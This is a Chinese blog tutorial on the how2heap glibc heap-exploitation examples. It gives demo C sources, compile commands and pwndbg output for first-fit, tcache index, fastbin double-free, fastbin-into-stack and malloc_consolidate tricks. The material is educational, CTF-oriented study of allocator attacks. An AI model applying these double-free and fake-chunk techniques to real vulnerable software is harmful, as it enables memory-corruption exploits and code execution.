- Author:ZERO-A-ONE
- Date:2021-01-21
“how2heap”是shellphish团队在Github上开源的堆漏洞系列教程。上面有很多常见的堆漏洞教学示例,实现了以下技术:
File | Technique | Glibc-Version | Patch | Applicable CTF Challenges |
---|---|---|---|---|
first_fit.c | Demonstrating glibc malloc’s first-fit behavior. | |||
calc_tcache_idx.c | Demonstrating glibc’s tcache index calculation. | |||
fastbin_dup.c | Tricking malloc into returning an already-allocated heap pointer by abusing the fastbin freelist. | latest | ||
fastbin_dup_into_stack.c | Tricking malloc into returning a nearly-arbitrary pointer by abusing the fastbin freelist. | latest | 9447-search-engine, 0ctf 2017-babyheap | |
fastbin_dup_consolidate.c | Tricking malloc into returning an already-allocated heap pointer by putting a pointer on both fastbin freelist and unsorted bin freelist. | latest | Hitcon 2016 SleepyHolder | |
unsafe_unlink.c | Exploiting free on a corrupted chunk to get arbitrary write. | latest | HITCON CTF 2014-stkof, Insomni’hack 2017-Wheel of Robots | |
house_of_spirit.c | Frees a fake fastbin chunk to get malloc to return a nearly-arbitrary pointer. | latest | hack.lu CTF 2014-OREO | |
poison_null_byte.c | Exploiting a single null byte overflow. | latest | PlaidCTF 2015-plaiddb, BalsnCTF 2019-PlainNote | |
house_of_lore.c | Tricking malloc into returning a nearly-arbitrary pointer by abusing the smallbin freelist. | < 2.31 | unknown | |
overlapping_chunks.c | Exploit the overwrite of a freed chunk size in the unsorted bin in order to make a new allocation overlap with an existing chunk | < 2.29 | patch | hack.lu CTF 2015-bookstore, Nuit du Hack 2016-night-deamonic-heap |
overlapping_chunks_2.c | Exploit the overwrite of an in use chunk size in order to make a new allocation overlap with an existing chunk | < 2.29 | patch | |
mmap_overlapping_chunks.c | Exploit an in use mmap chunk in order to make a new allocation overlap with a current mmap chunk | latest | ||
house_of_force.c | Exploiting the Top Chunk (Wilderness) header in order to get malloc to return a nearly-arbitrary pointer | < 2.29 | patch | Boston Key Party 2016-cookbook, BCTF 2016-bcloud |
unsorted_bin_into_stack.c | Exploiting the overwrite of a freed chunk on unsorted bin freelist to return a nearly-arbitrary pointer. | < 2.29 | patch | |
unsorted_bin_attack.c | Exploiting the overwrite of a freed chunk on unsorted bin freelist to write a large value into arbitrary address | < 2.29 | patch | 0ctf 2016-zerostorage |
large_bin_attack.c | Exploiting the overwrite of a freed chunk on large bin freelist to write a large value into arbitrary address | latest | 0ctf 2018-heapstorm2 | |
house_of_einherjar.c | Exploiting a single null byte overflow to trick malloc into returning a controlled pointer | latest | Seccon 2016-tinypad | |
house_of_orange.c | Exploiting the Top Chunk (Wilderness) in order to gain arbitrary code execution | < 2.26 | unknown | Hitcon 2016 houseoforange |
house_of_roman.c | Leakless technique in order to gain remote code execution via fake fastbins, the unsorted_bin attack and relative overwrites. | < 2.29 | patch | |
tcache_dup.c | Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. | 2.26 - 2.28 | patch | |
tcache_poisoning.c | Tricking malloc into returning a completely arbitrary pointer by abusing the tcache freelist. | > 2.25 | ||
tcache_house_of_spirit.c | Frees a fake chunk to get malloc to return a nearly-arbitrary pointer. | > 2.25 | ||
house_of_botcake.c | Bypass double free restriction on tcache. Make tcache_dup great again. |
> 2.25 | ||
tcache_stashing_unlink_attack.c | Exploiting the overwrite of a freed chunk on small bin freelist to trick malloc into returning an arbitrary pointer and write a large value into arbitraty address with the help of calloc. | > 2.25 | Hitcon 2019 one punch man | |
fastbin_reverse_into_tcache.c | Exploiting the overwrite of a freed chunk in the fastbin to write a large value into an arbitrary address. | > 2.25 |
主要有以下的Glibc版本支持:
- 2.23:Ubuntu 16.04
- 2.27:Ubuntu 18.04
- 2.31:Ubuntu 20.04
要查看当前操作系统的Glibc版本可以通过如下命令进行查看:
$ ldd --version
一、实验环境
在遇到tcache之前我们都使用Ubuntu 16.04来演示,之后遇上tcache后我们将使用最新的Ubuntu 20.04来进行演示
-
CPU:Ryzen 3700U
-
RAM:32GB DDR4
-
OS:Ubuntu 16.04
-
Glibc:2.23
-
VMWare Workstation 16 Pro
之后如果使用Ubuntu 20.04来演示,使用的环境就是
- CPU:Intel Xeon Skylake 6148(2.4 GHz)
- RAM:2GB DDR4
- OS:Ubuntu 20.04
- Glibc:2.31
二、first_fit
2.1 Glibc 2.23
我们首先查看以下源代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
fprintf(stderr, "This can be exploited in a use-after-free situation.\n");
fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc(0x512);
char* b = malloc(0x256);
char* c;
fprintf(stderr, "1st malloc(0x512): %p\n", a);
fprintf(stderr, "2nd malloc(0x256): %p\n", b);
fprintf(stderr, "we could continue mallocing here...\n");
fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "We don't need to free anything again. As long as we allocate smaller than 0x512, it will end up at %p\n", a);
fprintf(stderr, "So, let's allocate 0x500 bytes\n");
c = malloc(0x500);
fprintf(stderr, "3rd malloc(0x500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.\n");
}
这个例子主要是展示了Glibc的堆管理器如何分配和回收堆块
编译命令:
$ gcc first_fit.c -o first -m32 -g
开始进行调式:
可以看到在正式申请内存时,堆还是没有初始化的,通过vmmap查看程序内存布局也是可以发现的
在执行完malloc(0x512)
分配完a内存块的时候,可以发现堆初始化完毕
第一个a的地址就是0x804B000,然后我们继续分配b
可以发现b的地址是0x804B518
而输出的数据是:
pwndbg> n
1st malloc(0x512): 0x804b008
pwndbg> n
2nd malloc(0x256): 0x804b520
这是因为我们知道chunk指针返回的是mem数据部分,chunk在使用时的数据结构如下图:
An allocated chunk looks like this:
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
. |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
然后chunk定义的结构体如下:
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
也就是说malloc返回的指针就是chunk的fd指针处,返回内存指针地址-0x10是chunk块的真正头部。至于size为什么会不同,是因为chunk的大小在32位的情况下要求是8字节的整数倍,大小还需要加上chunk头的大小
这个时候我们可以查看以下两个chunk的结构:
pwndbg> x/5wx 0x804B000
0x804b000: 0x00000000 0x00000519 0x00000000 0x00000000
0x804b010: 0x00000000
pwndbg> x/5wx 0x804B518
0x804b518: 0x00000000 0x00000261 0x00000000 0x00000000
0x804b528: 0x00000000
GDB调试查看Chunk内存的时候,在32位系统的时候用w(四字节32位),在64位系统的时候用g(八字节64位)
这时候我们往a的内存里面写入了"this is A!"的数据,具体是往a的指针0x804b008处写入了数据,我们可以验证一下
不难看出目前内存里面写入的数据就是上述字符串的ASCII码
当我们执行free(a)
释放a的内存块后,可以发现a先被放入了unsortedbin中,且fd指针和bk指针都指向了main_arena
这个时候我们执行c = malloc(0x500)
,可以发现c分配到的内存块就是原来a分配到的内存块,因为c申请的大小比a的小,所以还剩下的一部分内存继续存在于unsortedbin中,从这里我们得知:
基本来源:
- 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中
- 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于top chunk的解释,请参考下面的介绍
- 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话
基本使用情况
- Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取
- 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中
执行的结果:
pwndbg> n
3rd malloc(0x500): 0x804b008
然后在写入"This is C!"后查看内存情况
可以发现和从之前的0x41变成了0x43,说明从A变成了C,然后继续执行
3rd allocation 0x8bda008 points to this is C!
first allocation 0x8bda008 points to this is C!
三、calc_tcache_idx
3.1 Glibc 2.31
这里Tcache是2.27之后引入的机制,所以我们需要使用Glibc 2.27之后的版本来进行测试,我们先查看一下源代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
struct malloc_chunk {
size_t mchunk_prev_size; /* Size of previous chunk (if free). */
size_t mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
/* The corresponding word size. */
#define SIZE_SZ (sizeof (size_t))
#define MALLOC_ALIGNMENT (2 * SIZE_SZ < __alignof__ (long double) \
? __alignof__ (long double) : 2 * SIZE_SZ)
/* The corresponding bit mask value. */
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
/* The smallest possible chunk */
#define MIN_CHUNK_SIZE (offsetof(struct malloc_chunk, fd_nextsize))
/* The smallest size we can malloc is an aligned minimal chunk */
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* When "x" is from chunksize(). */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
/* When "x" is a user-provided size. */
# define usize2tidx(x) csize2tidx (request2size (x))
int main()
{
unsigned long long req;
unsigned long long tidx;
fprintf(stderr, "This file doesn't demonstrate an attack, but calculates the tcache idx for a given chunk size.\n");
fprintf(stderr, "The basic formula is as follows:\n");
fprintf(stderr, "\tIDX = (CHUNKSIZE - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT\n");
fprintf(stderr, "\tOn a 64 bit system the current values are:\n");
fprintf(stderr, "\t\tMINSIZE: 0x%lx\n", MINSIZE);
fprintf(stderr, "\t\tMALLOC_ALIGNMENT: 0x%lx\n", MALLOC_ALIGNMENT);
fprintf(stderr, "\tSo we get the following equation:\n");
fprintf(stderr, "\tIDX = (CHUNKSIZE - 0x%lx) / 0x%lx\n\n", MINSIZE-MALLOC_ALIGNMENT+1, MALLOC_ALIGNMENT);
fprintf(stderr, "BUT be AWARE that CHUNKSIZE is not the x in malloc(x)\n");
fprintf(stderr, "It is calculated as follows:\n");
fprintf(stderr, "\tIF x + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE(0x%lx) CHUNKSIZE = MINSIZE (0x%lx)\n", MINSIZE, MINSIZE);
fprintf(stderr, "\tELSE: CHUNKSIZE = (x + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) \n");
fprintf(stderr, "\t=> CHUNKSIZE = (x + 0x%lx + 0x%lx) & ~0x%lx\n\n\n", SIZE_SZ, MALLOC_ALIGN_MASK, MALLOC_ALIGN_MASK);
while(1) {
fprintf(stderr, "[CTRL-C to exit] Please enter a size x (malloc(x)) in hex (e.g. 0x10): ");
scanf("%llx", &req);
tidx = usize2tidx(req);
if (tidx > 63) {
fprintf(stderr, "\nWARNING: NOT IN TCACHE RANGE!\n");
}
fprintf(stderr, "\nTCache Idx: %llu\n", tidx);
}
return 0;
}
然后分别编译成32位和64位的版本:
$ gcc -g -m32 calc_tcache_idx.c -o tcache32
$ gcc -g calc_tcache_idx.c -o tcache
分别执行可以得到结果:
32位:
ubuntu@VM-0-16-ubuntu:~/git/how2heap-master$ ./tcache32
This file doesn't demonstrate an attack, but calculates the tcache idx for a given chunk size.
The basic formula is as follows:
IDX = (CHUNKSIZE - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT
On a 32 bit system the current values are:
MINSIZE: 0x10
MALLOC_ALIGNMENT: 0x8
So we get the following equation:
IDX = (CHUNKSIZE - 0x9) / 0x8
BUT be AWARE that CHUNKSIZE is not the x in malloc(x)
It is calculated as follows:
IF x + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE(0x10) CHUNKSIZE = MINSIZE (0x10)
ELSE: CHUNKSIZE = (x + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
=> CHUNKSIZE = (x + 0x4 + 0x7) & ~0x7
[CTRL-C to exit] Please enter a size x (malloc(x)) in hex (e.g. 0x10):
64位:
ubuntu@VM-0-16-ubuntu:~/git/how2heap-master$ ./tcache
This file doesn't demonstrate an attack, but calculates the tcache idx for a given chunk size.
The basic formula is as follows:
IDX = (CHUNKSIZE - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT
On a 64 bit system the current values are:
MINSIZE: 0x20
MALLOC_ALIGNMENT: 0x10
So we get the following equation:
IDX = (CHUNKSIZE - 0x11) / 0x10
BUT be AWARE that CHUNKSIZE is not the x in malloc(x)
It is calculated as follows:
IF x + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE(0x20) CHUNKSIZE = MINSIZE (0x20)
ELSE: CHUNKSIZE = (x + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
=> CHUNKSIZE = (x + 0x8 + 0xf) & ~0xf
[CTRL-C to exit] Please enter a size x (malloc(x)) in hex (e.g. 0x10):
四、fastbin_dup
4.1 Glibc 2.23
这个例子主要是展示了如何利用fastbins的机制,进行double-free的攻击
我们首先查看以下源代码:
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = malloc(8);
b = malloc(8);
c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
assert(a == c);
}
编译指令:
$ gcc -m32 -g fastbin_dup.c -o fastbin_dup
开始进行调试工作:
分配了a,然后我们直接分配完b和c看看
pwndbg> n
1st malloc(8): 0x804b008
pwndbg> n
2nd malloc(8): 0x804b018
pwndbg> n
3rd malloc(8): 0x804b028
现在我们先free了a,查看一下heap和bin的情况
意味通常而言,一个已经 free 掉的 chunk 是不能被 free 第二次的,所以我们不能接着再free一次a,否则就会造成Double Free的情况
可以发现b也被free掉了,b指向了a,符合单列表的情况,然后我们继续执行
我们惊奇的发现我们现在的free list成了这样:
|Chunk A| -> |chunk B| -->| chunk A|
我们就成功绕过了 fastbins 的double free检查。原因如下:
fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针
libc-2.23 中对 double-free 的检查过程如下:
/* Check that the top of the bin is not the record we are going to add
(i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
它在检查 fast bin 的 double-free 时只是检查了第一个块。所以其实是存在缺陷的
4.2 Glibc 2.31
我们首先查看以下源代码:
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
printf("This file demonstrates a simple double-free attack with fastbins.\n");
printf("Fill up tcache first.\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
printf("Allocating 3 buffers.\n");
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);
printf("Freeing the first one...\n");
free(a);
printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
printf("So, instead, we'll free %p.\n", b);
free(b);
printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);
assert(a == c);
}
这里主要是需要首先填充Tcache,Tcache是libc 2.27之后引入的机制,简单来说就是Tcache一个数组下标能容纳7个堆块,堆块的大小最大是0x408,超过的会被放到unsorted bin中,它的插入方式也是和栈一样,后进先出,总是在链表头操作插入和取出
printf("Fill up tcache first.\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
我们先申请了7个大小为8字节的堆块:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x291
Free chunk (tcache) | PREV_INUSE
Addr: 0x405290
Size: 0x21
fd: 0x00
Free chunk (tcache) | PREV_INUSE
Addr: 0x4052b0
Size: 0x21
fd: 0x4052a0
Free chunk (tcache) | PREV_INUSE
Addr: 0x4052d0
Size: 0x21
fd: 0x4052c0
Free chunk (tcache) | PREV_INUSE
Addr: 0x4052f0
Size: 0x21
fd: 0x4052e0
Free chunk (tcache) | PREV_INUSE
Addr: 0x405310
Size: 0x21
fd: 0x405300
Free chunk (tcache) | PREV_INUSE
Addr: 0x405330
Size: 0x21
fd: 0x405320
Free chunk (tcache) | PREV_INUSE
Addr: 0x405350
Size: 0x21
fd: 0x405340
Allocated chunk | PREV_INUSE
Addr: 0x405370
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x405390
Size: 0x20c71
然后又free掉填充满了字节大小为8的tcache:
pwndbg> bins
tcachebins
0x20 [ 7]: 0x405360 —▸ 0x405340 —▸ 0x405320 —▸ 0x405300 —▸ 0x4052e0 —▸ 0x4052c0 —▸ 0x4052a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
然后又申请了a、b和c三个堆块:
Allocated chunk | PREV_INUSE
Addr: 0x405370
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x405390
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x4053b0
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x4053d0
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x4053f0
Size: 0x20c11
pwndbg> n
1st calloc(1, 8): 0x4053a0
pwndbg> n
2nd calloc(1, 8): 0x4053c0
pwndbg> n
3rd calloc(1, 8): 0x4053e0
然后又按照之前的顺序进行free操作
pwndbg> n
Now the free list has [ 0x4053a0, 0x4053c0, 0x4053a0 ]. If we malloc 3 times, we'll get 0x4053a0 twice!
Allocated chunk | PREV_INUSE
Addr: 0x405370
Size: 0x21
Free chunk (fastbins) | PREV_INUSE
Addr: 0x405390
Size: 0x21
fd: 0x4053b0
Free chunk (fastbins) | PREV_INUSE
Addr: 0x4053b0
Size: 0x21
fd: 0x405390
Allocated chunk | PREV_INUSE
Addr: 0x4053d0
Size: 0x21
Top chunk | PREV_INUSE
Addr: 0x4053f0
Size: 0x20c11
pwndbg> bins
tcachebins
0x20 [ 7]: 0x405360 —▸ 0x405340 —▸ 0x405320 —▸ 0x405300 —▸ 0x4052e0 —▸ 0x4052c0 —▸ 0x4052a0 ◂— 0x0
fastbins
0x20: 0x405390 —▸ 0x4053b0 ◂— 0x405390
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
五、fastbin_dup_into_stack
5.1 Glibc 2.23
这个程序展示了怎样通过修改 fd 指针,将其指向一个伪造的 free chunk,在伪造的地址处 malloc 出一个 chunk。该程序大部分内容都和上一个程序一样,漏洞也同样是 double-free,只有给 fd 填充的内容不一样
我们先查看一下源码:
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
unsigned long long stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
编译指令:
$ gcc -m32 -g fastbin_dup_into_stack.c -o fastbin_dup_into_stack
分配完三个chunk之后堆的情况
输出一下各个指针指向的地址:
pwndbg> n
1st malloc(8): 0x804b008
pwndbg> n
2nd malloc(8): 0x804b018
pwndbg> n
3rd malloc(8): 0x804b028
free掉a之后
free掉b之后
我们在此对a指针实施了Double Free
pwndbg> n
Now the free list has [ 0x804b008, 0x804b018, 0x804b008 ]. We'll now carry out our attack by modifying data at 0x804b008.
这时候我们再申请一个同样大小的d堆块,可以发现d堆块分配到了原来的a堆块上
pwndbg> n
1st malloc(8): 0x804b008
在我们又分配了一个大小为8的堆块后,这个堆块分配到了原来b堆块的位置
pwndbg> n
2nd malloc(8): 0x804b018
这一次 malloc 之后,我们不再填充无意义的 “DDDDDDDD”,而是填充一个地址,即栈地址减去 0x8,从而在栈上伪造出一个 free 的 chunk(当然也可以是其他的地址)。这也是为什么 stack_var
被我们设置为 0x21
(或0x20
都可以),其实是为了在栈地址减去 0x8 的时候作为 fake chunk 的 size 字段
这里我们利用了之前申请的一个局部变量stack_var,根据x86传参的规则我们可以知道局部变量会被填充到栈上,具体的距离需要看是否填充了canary和其它数据,总之我们可以知道stack_var指向的一个栈上的地址即可
unsigned long long stack_var;
pwndbg> p &stack_var
$1 = (unsigned long long *) 0xffffcfe0
glibc 在执行分配操作时,若块的大小符合 fast bin,则会在对应的 bin 中寻找合适的块,此时 glibc 将根据候选块的 size 字段计算出 fastbin 索引,然后与对应 bin 在 fastbin 中的索引进行比较,如果二者不匹配,则说明块的 size 字段遭到破坏。所以需要 fake chunk 的 size 字段被设置为正确的值
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
[...]
if (victim != 0)
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
[...]
}
[...]
}
}
简单地说就是 fake chunk 的 size 与 double-free 的 chunk 的 size 相同即可
这里可以发现stack_var所指向的值已经被我们修改为0x20了
然后执行,这里因为是32位程序,指针d的大小为4字节,故因该被覆写为0xffffcfdc
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
d处的值成功被覆写为栈地址-4字节,可以说明d的chunk的fd指针被修改为0xffffcfdc,而原来的fd指针是指向b堆块的0x804b010
pwndbg> x/5wx 0x804b008
0x804b008: 0xffffcfdc 0xffffffff 0x00000000 0x00000011
0x804b018: 0x0804b000
pwndbg> x/5wx 0x804b000
0x804b000: 0x00000000 0x00000011 0xffffcfdc 0xffffffff
0x804b010: 0x00000000
可以看到,伪造的 chunk 已经由指针链接到 fastbins 上了。之后 malloc 两次,即可将伪造的 chunk 移动到链表头部:
在malloc一次查看情况
pwndbg> n
3rd malloc(8): 0x804b008, putting the stack address on the free list
在malloc一次查看情况,之后就会发生崩溃,因为检测到堆分配到了栈上,所以对于 fastbins,可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针
六、fastbin_dup_consolidate
6.1 Glibc 2.23
这个程序展示了利用在 large bin 的分配中 malloc_consolidate 机制绕过 fastbin 对 double free 的检查,这个检查在 fastbin_dup 中已经展示过了,只不过它利用的是在两次 free 中间插入一次对其它 chunk 的 free
首先查看一下源代码:
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);
void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}
首先分配两个 fast chunk:
pwndbg> n
Allocated two fastbins: p1=0x602010 p2=0x602060
释放掉 p1,则空闲 chunk 加入到 fastbins 中:
此时如果我们再次释放 p1,必然触发 double free 异常,然而,如果此时分配一个 large chunk,效果如下:
pwndbg> n
Allocated large bin to trigger malloc_consolidate(): p3=0x6020b0
可以看到 fastbins 中的 chunk 已经不见了,反而出现在了 small bins 中,并且 chunk p2 的 prev_size 和 size 字段都被修改
看一下 large chunk 的分配过程:
/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/
else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}
当分配 large chunk 时,首先根据 chunk 的大小获得对应的 large bin 的 index,接着判断当前分配区的 fast bins 中是否包含 chunk,如果有,调用 malloc_consolidate() 函数合并 fast bins 中的 chunk,并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk,unsortedbin中也没有合适大小的堆块,需要从Top Chunk中重新分配,所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。
